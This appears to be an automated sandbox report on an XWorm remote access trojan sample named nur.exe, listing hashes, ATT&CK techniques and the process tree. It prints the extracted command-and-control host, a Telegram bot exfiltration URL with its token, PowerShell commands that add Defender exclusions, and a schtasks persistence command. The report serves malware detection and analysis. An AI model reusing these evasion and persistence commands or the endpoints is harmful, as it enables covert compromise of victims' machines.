xworm | 6769f3dcde3cc9f6fb8fd1fb6a37b52221ef79b97d5d4002c44308da7a24b144

Analysis

max time kernel
135s
max time network
133s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
21-12-2024 13:11

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Nursultan Alpha/workspace/nur.exe
Size

78KB
MD5

1ac8c816761e434a1f2f57fd6b1ff2ce
SHA1

ea93e41e41697445fb0e9d87e22c39f92574a256
SHA256

a3ad9f1252629d998935892cbf29d6678f5bf12244cc1687d7bbde4bb6f9855d
SHA512

08008e9b57b3e0bff46b82098bbb85bfe78ecf9b0d0062956b31724e29376910d5ead41179864975ab233998c8cf9c6402f21bbd0928496bf1c3270ee99d7a8c
SSDEEP

1536:gBMjqMnGJcI9Nkl92+TJ34TO6X+bEwZfvG/Ke6VJXRQmLOVrCgVxcpum:g+qMEZPo4TO6X+bEnCFJXqcOVrCgun

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

22.ip.gl.ply.gg:61996

Attributes

Install_directory
%ProgramData%
install_file
svchost.exe
telegram
https://api.telegram.org/bot6997638498:AAHa9TMLloZsFrAsEGC8rfuzrK0fiaQAI5Q/sendMessage?chat_id=1031836490

Signatures

Detect Xworm Payload 3 IoCs

resource	yara_rule
behavioral29/memory/2192-1-0x0000000000AB0000-0x0000000000ACA000-memory.dmp	family_xworm
behavioral29/files/0x0006000000004ed7-34.dat	family_xworm
behavioral29/memory/2060-36-0x00000000012C0000-0x00000000012DA000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2172	powershell.exe
2748	powershell.exe
2848	powershell.exe
3016	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	nur.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	nur.exe

Executes dropped EXE 3 IoCs

pid	Process
2060	svchost.exe
2144	svchost.exe
2256	svchost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\ProgramData\\svchost.exe"	nur.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2596	schtasks.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3016	powershell.exe
2172	powershell.exe
2748	powershell.exe
2848	powershell.exe
2192	nur.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	2192	nur.exe
Token: SeDebugPrivilege	3016	powershell.exe
Token: SeDebugPrivilege	2172	powershell.exe
Token: SeDebugPrivilege	2748	powershell.exe
Token: SeDebugPrivilege	2848	powershell.exe
Token: SeDebugPrivilege	2192	nur.exe
Token: SeDebugPrivilege	2060	svchost.exe
Token: SeDebugPrivilege	2144	svchost.exe
Token: SeDebugPrivilege	2256	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2192	nur.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2192 wrote to memory of 3016	2192	nur.exe	31
PID 2192 wrote to memory of 3016	2192	nur.exe	31
PID 2192 wrote to memory of 3016	2192	nur.exe	31
PID 2192 wrote to memory of 2172	2192	nur.exe	33
PID 2192 wrote to memory of 2172	2192	nur.exe	33
PID 2192 wrote to memory of 2172	2192	nur.exe	33
PID 2192 wrote to memory of 2748	2192	nur.exe	35
PID 2192 wrote to memory of 2748	2192	nur.exe	35
PID 2192 wrote to memory of 2748	2192	nur.exe	35
PID 2192 wrote to memory of 2848	2192	nur.exe	37
PID 2192 wrote to memory of 2848	2192	nur.exe	37
PID 2192 wrote to memory of 2848	2192	nur.exe	37
PID 2192 wrote to memory of 2596	2192	nur.exe	39
PID 2192 wrote to memory of 2596	2192	nur.exe	39
PID 2192 wrote to memory of 2596	2192	nur.exe	39
PID 1952 wrote to memory of 2060	1952	taskeng.exe	43
PID 1952 wrote to memory of 2060	1952	taskeng.exe	43
PID 1952 wrote to memory of 2060	1952	taskeng.exe	43
PID 1952 wrote to memory of 2144	1952	taskeng.exe	44
PID 1952 wrote to memory of 2144	1952	taskeng.exe	44
PID 1952 wrote to memory of 2144	1952	taskeng.exe	44
PID 1952 wrote to memory of 2256	1952	taskeng.exe	46
PID 1952 wrote to memory of 2256	1952	taskeng.exe	46
PID 1952 wrote to memory of 2256	1952	taskeng.exe	46

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Nursultan Alpha\workspace\nur.exe
"C:\Users\Admin\AppData\Local\Temp\Nursultan Alpha\workspace\nur.exe"
1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Nursultan Alpha\workspace\nur.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'nur.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2172
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\svchost.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2848
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\ProgramData\svchost.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2596

C:\Windows\system32\taskeng.exe
taskeng.exe {1388258A-3EE4-41A2-9B15-07A51BF9520C} S-1-5-21-4177215427-74451935-3209572229-1000:JSMURNPT\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:1952
- C:\ProgramData\svchost.exe
  C:\ProgramData\svchost.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2060
- C:\ProgramData\svchost.exe
  C:\ProgramData\svchost.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2144
- C:\ProgramData\svchost.exe
  C:\ProgramData\svchost.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2256

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\svchost.exe

Filesize
78KB

MD5
1ac8c816761e434a1f2f57fd6b1ff2ce

SHA1
ea93e41e41697445fb0e9d87e22c39f92574a256

SHA256
a3ad9f1252629d998935892cbf29d6678f5bf12244cc1687d7bbde4bb6f9855d

SHA512
08008e9b57b3e0bff46b82098bbb85bfe78ecf9b0d0062956b31724e29376910d5ead41179864975ab233998c8cf9c6402f21bbd0928496bf1c3270ee99d7a8c

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\377P78QNXO633SVIEHJR.temp

Filesize
7KB

MD5
8942f556e9266bca92e783a99acf369f

SHA1
8a818d76d72ada69d0d57ef9de9925824102830d

SHA256
5439b896d36839f6ed4e011dcf32d85b051a26afef088fd47f4b2e8a235a6598

SHA512
e5e24ee8a4244c71482970fa264dd479031898142f2f8715c487e25f87ad38fb92905faffc44ab80fc25c8ec354e49187c5c1478e7d0fa3fdc468f689f8e8f2f

Download Submit
memory/2060-36-0x00000000012C0000-0x00000000012DA000-memory.dmp

Filesize
104KB

Download
memory/2172-14-0x000000001B720000-0x000000001BA02000-memory.dmp

Filesize
2.9MB

Download
memory/2172-15-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/2192-31-0x000000001B4E0000-0x000000001B560000-memory.dmp

Filesize
512KB

Download
memory/2192-0-0x000007FEF5A13000-0x000007FEF5A14000-memory.dmp

Filesize
4KB

Download
memory/2192-32-0x000007FEF5A13000-0x000007FEF5A14000-memory.dmp

Filesize
4KB

Download
memory/2192-1-0x0000000000AB0000-0x0000000000ACA000-memory.dmp

Filesize
104KB

Download
memory/2192-37-0x000000001B4E0000-0x000000001B560000-memory.dmp

Filesize
512KB

Download
memory/3016-8-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download
memory/3016-7-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

Filesize
2.9MB

Download
memory/3016-6-0x0000000002240000-0x00000000022C0000-memory.dmp

Filesize
512KB

Download